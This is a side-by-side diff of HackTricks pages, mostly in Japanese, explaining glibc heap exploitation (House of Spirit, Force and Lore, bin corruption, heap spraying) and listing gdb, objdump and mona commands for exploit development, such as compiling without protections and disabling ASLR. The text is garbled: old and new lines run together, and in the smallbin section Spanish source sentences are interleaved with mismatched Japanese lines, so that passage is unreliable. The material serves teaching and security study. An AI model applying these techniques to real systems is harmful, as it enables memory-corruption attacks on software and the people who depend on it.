サイズを8ではなく16に変更すると、fastbin\_index()はfastbins\[0]を返し、これを使用してスタックを上書きできます。 サイズを8ではなく16に変更すると、fastbin\_index()はfastbins\[0]を返し、これを使用してスタックを上書きできます。
これには、スタックにはcanaryや奇妙な値が含まれていない必要があります。実際、スタックには4バイトのNULL + EBP + RETが含まれている必要があります。 これを行うには、canaryやスタックに奇妙な値がない必要があります。実際、次のようにする必要があります: 4バイトのゼロ + EBP + RET
4バイトのNULLが必要なのは、**av**がこのアドレスを指すようになるためであり、**av**の最初の要素は0である必要があるためです。 4バイトのゼロは、**av**がこのアドレスにある必要があり、**av**の最初の要素はミューテックスで0である必要があります。
**av->max\_fast**はEBPになり、制約をスキップするための値になります。 **av->max\_fast**はEBPであり、制約を回避するために役立つ値になります。
**av->fastbins\[0]**には**p**のアドレスが上書きされ、RETになり、その後シェルコードにジャンプします。 **av->fastbins\[0]**は**p**のアドレスで上書きされ、RETになります。これにより、シェルコードに飛びます。
さらに、**av->system\_mem**(スタック上の位置から1484バイト上にあるには、スキップされる可能性のあるゴミがたくさんあり、これにより実行されるチェックがスキップされます。 さらに、**av->system\_mem**(スタックの位置から1484バイト上には、チェックを回避するための十分なゴミが含まれます。
解放されたチャンクの隣接するチャンクのサイズが8より大きい必要があります。解放されたチャンクのサイズが16であると述べたので、偽のチャンクには8より大きいサイズを設定するだけで十分ですさらに、シェルコードは解放されたチャンクに配置されるため、新しい偽のチャンクのサイズフィールドの後に配置されるnopsにジャンプするjmpを配置する必要があります)。 さらに、解放されたチャンクの隣接チャンクは8より大きくなければなりません -> 先ほど解放されたチャンクのサイズが16であるため、この偽のチャンクには8より大きいサイズを入れる必要がありますシェルコードが解放されたチャンクに入るため、最初にnopsに飛ぶjmpを入れる必要があります)。
**The House of Spirit** **精神の家**
この場合、攻撃者が変更可能なmallocへのポインタたとえば、オーバーフロー可能な変数の下のスタックにあるポインタを持つことを目指します この場合、攻撃者によって変更可能なmallocへのポインタを持つことを目指します例えば、ポインタが変数へのオーバーフローの下にスタックにある場合
たがって、このポインタを任意の場所に指すようにすることができます。ただし、どの場所でも有効ではありません。偽のチャンクのサイズはav->max\_fastより小さく、より具体的には将来のmalloc()呼び出しで要求されるサイズ+8と同じである必要があります。したがって、この脆弱なポインタの後にmalloc(40)が呼び出されることがわかっている場合、偽のチャンクのサイズは48とする必要があります このようにして、このポインタを任意の場所に指すようにすることができます。しかし、どの場所でも有効ではなく、偽のチャンクのサイズはav->max\_fastより小さく、より具体的には、将来のmalloc()呼び出しで要求されたサイズ+8と等しくなければなりません。したがって、この脆弱なポインタの後にmalloc(40)が呼び出されることがわかっている場合、偽のチャンクのサイズは48と等しくなければなりません
たとえば、プログラムがユーザーに数値を尋ねる場合、48を入力し、mallocのポインタを次の4バイトに指すことができますこれらは幸運な場合、EBPに属する可能性があります。したがって、48は後ろに残ります。サイズのヘッダーとして。さらに、ptr-4+48のアドレスにはいくつかの条件を満たす必要があります(この場合ptr=EBPである)。 例えば、プログラムがユーザーに数字を尋ねる場合、48を入力して、変更可能なmallocポインタを次の4バイト運が良ければEBPに属する可能性があるに指すことができます。したがって、48は後ろにあり、サイズヘッダーのように見えます。さらに、ptr-4+48のアドレスは複数の条件を満たす必要がありますこの場合ptr=EBP、つまり、8 < ptr-4+48 < av->system\_mem
これが満たされると、次にmallocが呼び出されると、malloc(40)のアドレスにEBPのアドレスが割り当てられます。攻撃者がこのmallocに書き込むこともできる場合、EBPとEIPの両方を任意のアドレスで上書きできます。 これが満たされると、次のmallocがmalloc(40)と呼ばれるとき、EBPのアドレスが割り当てられます。攻撃者がこのmallocに書き込むことができる場合、EBPとEIPを任意のアドレスで上書きできます。
これは、free()がスタックのEBPを指すアドレスに、新しいmalloc()で予約する完璧なサイズのチャンクがあることを覚えているためだと思われます。そのため、そのアドレスが割り当てられます。 これは、free()が解放する際に、スタックのEBPを指すアドレスに対して新しいmalloc()のために完璧なサイズのチャンクがあることを記録するために行われると思われます。
**The House of Force** **力の家**
必要なもの 必要なもの:
* wildernessを上書きするオーバーフロー * wildernessを上書きできるチャンクへのオーバーフロー
* ユーザーが定義したサイズでmalloc()を呼び出す * ユーザーによって定義されたサイズでmalloc()を呼び出す
* ユーザーが定義したデータでmalloc()を呼び出す * ユーザーによって定義されたデータを持つmalloc()を呼び出す
最初に、wildernessのサイズを非常に大きな値0xffffffffで上書きして、十分に大きなメモリ要求がheapを拡張することなく_int\_malloc()で処理されるようにします。 最初に行うことは、wildernessチャンクのサイズを非常に大きな値0xffffffffで上書きすることです。これにより、十分に大きなメモリ要求は\_int\_malloc()で処理され、ヒープを拡張する必要がなくなります。
次に、av->topを、スタックなどの攻撃者の制御下にあるメモリ領域を指すように変更します。av->topには\&EIP - 8が入ります。 次に、av->topを攻撃者の制御下にあるメモリ領域、例えばスタックを指すように変更します。av->topには\&EIP - 8が設定されます。
攻撃者が制御するメモリ領域のアドレスをav->topに上書きする必要があります av->topを攻撃者の制御下にあるメモリ領域を指すように上書きする必要があります:
victim = av->top; victim = av->top;
@ -465,100 +471,100 @@ remainder = chunck\_at\_offset(victim, nb);
av->top = remainder; av->top = remainder;
Victimは現在のwildernessチャンクのアドレス現在のav->topを取得し、remainderはそのアドレスにmalloc()によって要求されたバイト数を加えたものです。したがって、\&EIP-8が0xbffff224にあり、av->topが0x080c2788を含んでいる場合、次のmalloc()でav->topが$EIP-8を指すようにするには Victimは現在のwildernessチャンクのアドレス現在のav->topの値を取得し、remainderはそのアドレスにmalloc()要求されたバイト数を加えたものです。したがって、もし\&EIP-8が0xbffff224にあり、av->topが0x080c2788を含んでいる場合、次のmalloc()のためにav->topが$EIP-8を指すようにするために、制御されたmallocで予約する必要がある量は:
0xbffff224 - 0x080c2788 = 3086207644. 0xbffff224 - 0x080c2788 = 3086207644
れにより、av->topに変更された値が保存され、次のmallocがEIPを指し、それを上書きできるようになります。 のようにして、av->topに変更された値が保存され、次のmallocはEIPを指し、上書きすることができます。
新しいwildernessチャンクのサイズが、最後のmalloc()によって要求されたメモリ量よりも大きい必要があります。つまり、wildernessが\&EIP-8を指している場合、サイズはちょうどスタックのEBPフィールドになります。 新しいwildernessチャンクのサイズが、最後のmalloc()によって行われた要求よりも大きいことが重要です。つまり、wildernessが\&EIP-8を指している場合、サイズはスタックのEBPフィールドに正確に配置されます。
**The House of Lore** **伝説の家**
**SmallBinの破損** **SmallBinの破損**
解放されたチャンクはサイズに応じてbinに挿入されます。しかし、挿入される前にunsorted binsに保存されます。チャンクが解放されると、すぐに適切なbinに挿入されるのではなく、unsorted binsに残ります。次に、新しいチャンクが割り当てられ、以前に解放されたチャンクが使用可能であれば、それが返されます。ただし、より大きなチャンクが割り当てられる場合、unsorted binsにある解放されたチャンクは適切なbinに挿入されます。 解放されたチャンクは、そのサイズに基づいてbinに挿入されます。しかし、挿入される前にunsorted binsに保存されます。チャンクが解放されると、すぐにそのbinに入るのではなく、unsorted binsに留まります。次に、新しいチャンクが予約され、以前に解放されたチャンクが役立つ場合、それを返しますが、より大きなものが予約されると、unsorted binsにある解放されたチャンクが適切なbinに挿入されます。
脆弱なコードに到達するには、メモリ要求がav->max\_fast通常72より大きく、MIN\_LARGE\_SIZE512より小さい必要があります。 脆弱なコードに到達するには、メモリ要求がav->max\_fast通常72より大きく、MIN\_LARGE\_SIZE512より小さくなければなりません。
```
Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. binに要求されたサイズに適したチャンクがある場合、それが返され、アンリンクされます:
bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección bck = victim->bk; 前のチャンクを指します。これが唯一の情報です。
bck->fd = bin; Se cierra la lista haciendo que este apunte a bin bin->bk = bck; 前のチャンクが最後のチャンクになります。bckがスタックを指している場合、次に予約されるチャンクにこのアドレスが与えられます。
Se necesita: bck->fd = bin; このリストを閉じ、これがbinを指すようにします。
Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) 必要なもの:
Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. 2つのmallocを予約し、最初のものが解放された後にオーバーフローできるようにしますつまり、2番目のチャンクが解放され、binに挿入された後に、より大きなmallocが予約される必要があります
El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. 攻撃者が選択したアドレスを持つmallocが攻撃者によって制御される必要があります。
Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. 目的は次のとおりです。もし、ヒープの下にすでに解放されたチャンクがあり、そのbinにある場合、bkポインタを変更できます。bkポインタを変更し、このチャンクがbinの最初のものになり、予約されると、binを欺いて、リストの最後のチャンク次に提供されるものが、攻撃者が指定した偽のアドレスにあると認識させることができますスタックやGOTなど。したがって、再度別のチャンクが予約され、攻撃者がその権限を持っている場合、希望する位置にチャンクが与えられ、そこに書き込むことができます。
Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. 変更されたチャンクを解放した後、解放されたものよりも大きなチャンクを予約する必要があります。これにより、変更されたチャンクがunsorted binsから出て、適切なbinに挿入されます。
Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. binに入ったら、オーバーフローを介してbkポインタを変更して、上書きしたいアドレスを指すようにします。
Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. このようにして、binはmalloc()が十分に呼び出されるのを待つ必要があります。これにより、変更されたbinが再利用され、次のチャンクが偽のアドレスにあると信じ込ませます。そして、次に興味のあるチャンクが提供されます。
Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. 脆弱性をできるだけ早く実行するには、理想的には次のようになります: 脆弱なチャンクの予約、変更されるチャンクの予約、このチャンクの解放、より大きなチャンクの予約、チャンクの変更(脆弱性)、脆弱なサイズと同じサイズのチャンクの予約、そしてこのチャンクが選択したアドレスを指すことになります。
**Corrupción LargeBin** この攻撃を防ぐために、チャンクが「偽」でないことを確認するための典型的なチェックが使用されます: bck->fdがvictimを指しているかどうかを確認します。つまり、私たちのケースでは、スタックで指されている偽のチャンクのポインタfd*がvictimを指しているかどうかです。この保護を回避するために、攻撃者は何らかの方法でおそらくスタックを介して適切なアドレスにvictimのアドレスを書き込むことができる必要があります。そうすれば、真のチャンクのように見えます。
Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. **LargeBinの破損**
El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. 以前と同じ要件が必要で、さらに、予約されたチャンクは512より大きくなければなりません。
Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) 攻撃は前と同様で、bkポインタを変更する必要があり、すべてのmalloc()呼び出しが必要ですが、さらに、変更されたチャンクのサイズをそのサイズ - nbが<MINSIZEになるように変更する必要があります
Además se ha introducido un parche para hacerlo aún más complicado. 例えば、サイズを1552に設定すると、1552 - 1544 = 8 < MINSIZEになります引き算は負になってはいけませんなぜならunsignedが比較されるからです
**Heap Spraying** さらに、さらに複雑にするためのパッチが導入されました。
Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. **ヒープスプレー**
**Heap Feng Shui** 基本的には、可能な限りすべてのヒープメモリを予約し、これをnopsのマットレスとシェルコードで埋めることを意味します。さらに、マットレスとして0x0cを使用します。これにより、0x0c0c0c0cのアドレスに飛ぼうとし、そこに呼び出されるアドレスが上書きされると、そこに飛びます。基本的に、この戦術は、できるだけ多くの予約を行い、ポインタが上書きされるかどうかを確認し、0x0c0c0c0cに飛ぶことを期待しています。
Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. **ヒープ風水**
**objdump -d ejecutable** —> Disas functions\ 予約と解放を通じて、メモリをセグメント化し、空きチャンクの間に予約されたチャンクを配置します。オーバーフローするバッファは、これらの卵の1つに配置されます。
**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ **objdump -d 実行可能ファイル** —> 関数を逆アセンブルします。\
**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ **objdump -d ./PROGRAM | grep FUNCTION** —> 関数アドレスを取得します。\
**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ **objdump -d -Mintel ./shellcodeout** —> 実際にシェルコードであることを確認し、OpCodesを取得します。\
**objdump -t ./exec | grep varBss** —> シンボルテーブル、変数と関数のアドレスを取得します。\
**objdump -TR ./exec | grep exit(func lib)** —> ライブラリ関数のアドレスを取得しますGOT。\
**objdump -d ./exec | grep funcCode**\ **objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\ **objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\ **objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ **objdump -t --dynamic-relo ./exec | grep puts** —> GOTで上書きするputsのアドレスを取得します。\
**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ **objdump -D ./exec** —> pltのエントリまで全てを逆アセンブルします。\
**objdump -p -/exec**\ **objdump -p -/exec**\
**Info functions strncmp —>** Info de la función en gdb **Info functions strncmp —>** gdbでの関数情報
## Interesting courses ## 興味深いコース
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) * [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **References** ## **参考文献**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricksをサポートする</summary>
Other ways to support HackTricks: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
``` {% endhint %}

View file

@ -1,18 +1,19 @@
# Exploiting Tools # Exploiting Tools
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>
{% endhint %}
## Metasploit ## Metasploit
``` ```
@ -38,7 +39,7 @@ apt-get install gdb
-x <file> # Auto-execute GDB instructions from here -x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process -p <pid> # Attach to process
``` ```
### 手順 ### 指示
```bash ```bash
run # Execute run # Execute
start # Start and break in main start # Start and break in main
@ -84,9 +85,7 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP x/i $eip # Instructions of the EIP
``` ```
### [GEF](https://github.com/hugsy/gef) ### [GEF](https://github.com/hugsy/gef)
GEFGDB Enhanced Featuresは、GDBのPython拡張プラグインであり、デバッグ中に役立つさまざまな機能を提供します。
```bash ```bash
help memory # Get help on memory command help memory # Get help on memory command
canary # Search for canary value in memory canary # Search for canary value in memory
@ -126,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176' [+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely [+] Found at offset 184 (little-endian search) likely
``` ```
### テクニック ### Tricks
#### GDB同じアドレス #### GDB 同じアドレス
デバッグ中には、GDBは**実行時にバイナリが使用するアドレスとはわずかに異なるアドレスを持ちます。** GDBに同じアドレスを持たせるには、次のようにします: デバッグ中、GDBは**実行時にバイナリが使用するアドレスとはわずかに異なるアドレスを持ちます。** GDBが同じアドレスを持つようにするには、次のようにします:
* `unset env LINES` * `unset env LINES`
* `unset env COLUMNS` * `unset env COLUMNS`
* `set env _=<path>` _バイナリの絶対パスを入力_ * `set env _=<path>` _バイナリの絶対パスを入力します_
* 同じ絶対パスを使用してバイナリをエクスプロイト * 同じ絶対パスを使用してバイナリをエクスプロイトします
* GDBを使用するときとバイナリをエクスプロイトするときには、`PWD`と`OLDPWD`が同じである必要があります * GDBを使用する際とバイナリをエクスプロイトする際に`PWD`と`OLDPWD`は同じでなければなりません
#### 関数呼び出しを見つけるためのバックトレース #### バックトレースで呼び出された関数を見つける
**静的にリンクされたバイナリ**の場合、すべての関数はバイナリに属しています(外部ライブラリではありません)。この場合、**バイナリがユーザー入力を要求するためにたどるフローを特定するのは難しい**でしょう。\ **静的リンクされたバイナリ**を持っている場合、すべての関数はバイナリに属します(外部ライブラリには属しません)。この場合、**バイナリがユーザー入力を要求するための流れを特定するのは難しいです。**\
**gdb**を使用してバイナリを実行し、入力を求められるまで実行します。その後、**CTRL+C**で停止し、**`bt`****バックトレース**)コマンドを使用して呼び出された関数を確認できます: この流れを簡単に特定するには、**gdb**でバイナリを実行し、入力を求められるまで待ちます。その後、**CTRL+C**で停止し、**`bt`****バックトレース**)コマンドを使用して呼び出された関数を確認ます:
``` ```
gef➤ bt gef➤ bt
#0 0x00000000004498ae in ?? () #0 0x00000000004498ae in ?? ()
@ -150,61 +149,61 @@ gef➤ bt
#3 0x00000000004011a9 in ?? () #3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? () #4 0x0000000000400a5a in ?? ()
``` ```
### GDB サーバー ### GDBサーバー
`gdbserver --multi 0.0.0.0:23947`IDAでは、Linux マシンと Windows マシンの実行可能ファイルの絶対パスを入力する必要があります) `gdbserver --multi 0.0.0.0:23947` (IDAではLinuxマシンの実行可能ファイルの絶対パスを入力する必要があります)
## Ghidra ## Ghidra
### スタックオフセットの検索 ### スタックオフセットを見つける
**Ghidra** は、**ローカル変数の位置情報により、** **バッファオーバーフローのオフセットを見つけるのに非常に役立ちます。**\ **Ghidra**は、**ローカル変数の位置に関する情報のおかげで、**バッファオーバーフローの**オフセット**を見つけるのに非常に便利です。**\
たとえば、以下の例では、`local_bc` でのバッファフローは、`0xbc` のオフセットが必要であることを示しています。さらに、`local_10` がキャナリーコンキーである場合、`local_bc` からそれを上書きするには `0xac` のオフセットが必要です。\ 例えば、以下の例では、`local_bc`のバッファフローは、`0xbc`のオフセットが必要であることを示しています。さらに、`local_10`がカナリークッキーである場合、`local_bc`からそれを上書きするには`0xac`のオフセットが必要です。\
_RIP が保存される最初の 0x08 は RBP に属していることを覚えておいてください。_ _最初の0x08は、RIPが保存される場所でRBPに属することを忘れないでください。_
![](<../../.gitbook/assets/image (616).png>) ![](<../../.gitbook/assets/image (616).png>)
## GCC ## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護なしでコンパイルする\ **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護なしでコンパイル\
**-o** --> 出力\ **-o** --> 出力\
**-g** --> コードを保存GDB で表示可能\ **-g** --> コードを保存GDBが見ることができる\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux ASLR を無効にする **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> LinuxでASLRを無効にする
**シェルコードをコンパイルする方法:**\ **シェルコードをコンパイルするには:**\
**nasm -f elf assembly.asm** --> ".o" を返す\ **nasm -f elf assembly.asm** --> ".o"を返す\
**ld assembly.o -o shellcodeout** --> 実行可能ファイル **ld assembly.o -o shellcodeout** --> 実行可能ファイル
## Objdump ## Objdump
**-d** --> 実行可能ファイルのセクションを逆アセンブルする(コンパイルされたシェルコードのオペコードを見る、ROP ガジェットを見つける、関数アドレスを見つけるなど\ **-d** --> **実行可能ファイル**のセクションを逆アセンブル(コンパイルされたシェルコードのオペコードを確認、ROPガジェットを見つける、関数アドレスを見つける...\
**-Mintel** --> Intel 構文\ **-Mintel** --> **Intel**構文\
**-t** --> シンボルテーブル\ **-t** --> **シンボル**テーブル\
**-D** --> すべてを逆アセンブル(静的変数のアドレス)\ **-D** --> **すべてを逆アセンブル**(静的変数のアドレス)\
**-s -j .dtors** --> dtors セクション\ **-s -j .dtors** --> dtorsセクション\
**-s -j .got** --> got セクション\ **-s -j .got** --> gotセクション\
\-D -s -j .plt --> plt セクションを逆コンパイル\ \-D -s -j .plt --> **plt**セクション **逆コンパイル**\
**-TR** --> リロケーション\ **-TR** --> **再配置**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT 内の "puts" を変更するためのアドレス\ **ojdump -t --dynamic-relo ./exec | grep puts** --> GOTで修正するための"puts"のアドレス\
**objdump -D ./exec | grep "VAR\_NAME"** --> 静的変数のアドレス(これらは DATA セクションに保存されています)。 **objdump -D ./exec | grep "VAR\_NAME"** --> 静的変数のアドレス(これらはDATAセクションに格納されます)。
## Core ダンプ ## コアダンプ
1. プログラムを開始する前に `ulimit -c unlimited` を実行します 1. プログラムを開始する前に`ulimit -c unlimited`を実行します
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` を実行します 2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`を実行します
3. `sudo gdb --core=\<path/core> --quiet` を実行します 3. sudo gdb --core=\<path/core> --quiet
## その他 ## もっと
**ldd executable | grep libc.so.6** --> アドレスASLR の場合、毎回変わります)\ **ldd executable | grep libc.so.6** --> アドレスASLRの場合、毎回変わります\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> アドレスが大幅に変化するかどうかを確認するためのループ\ **for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> アドレスが頻繁に変わるかどうかを確認するためのループ\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" のオフセット\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"のオフセット\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" のオフセット **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"のオフセット
**strace executable** --> 実行可能ファイルが呼び出す関数\ **strace executable** --> 実行可能ファイルによって呼び出される関数\
**rabin2 -i ejecutable -->** すべての関数のアドレス **rabin2 -i ejecutable -->** すべての関数のアドレス
## **Inmunity debugger** ## **Inmunityデバッガ**
```bash ```bash
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
@ -213,24 +212,25 @@ _RIP が保存される最初の 0x08 は RBP に属していることを覚え
### リモートLinuxでのデバッグ ### リモートLinuxでのデバッグ
IDAフォルダー内には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、_linux\_server_または_linux\_server64_バイナリをLinuxサーバー内に移動し、バイナリが含まれるフォルダー内で実行します。 IDAフォルダー内には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、_linux\_server_または_linux\_server64_をLinuxサーバー内に移動し、バイナリを含むフォルダー内で実行します:
``` ```
./linux_server64 -Ppass ./linux_server64 -Ppass
``` ```
その後、デバッガーを設定しますデバッガーLinuxリモート→プロセスオプション... 次に、デバッガーを設定します: Debugger (linux remote) --> Proccess options...:
![](<../../.gitbook/assets/image (101).png>) ![](<../../.gitbook/assets/image (101).png>)
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
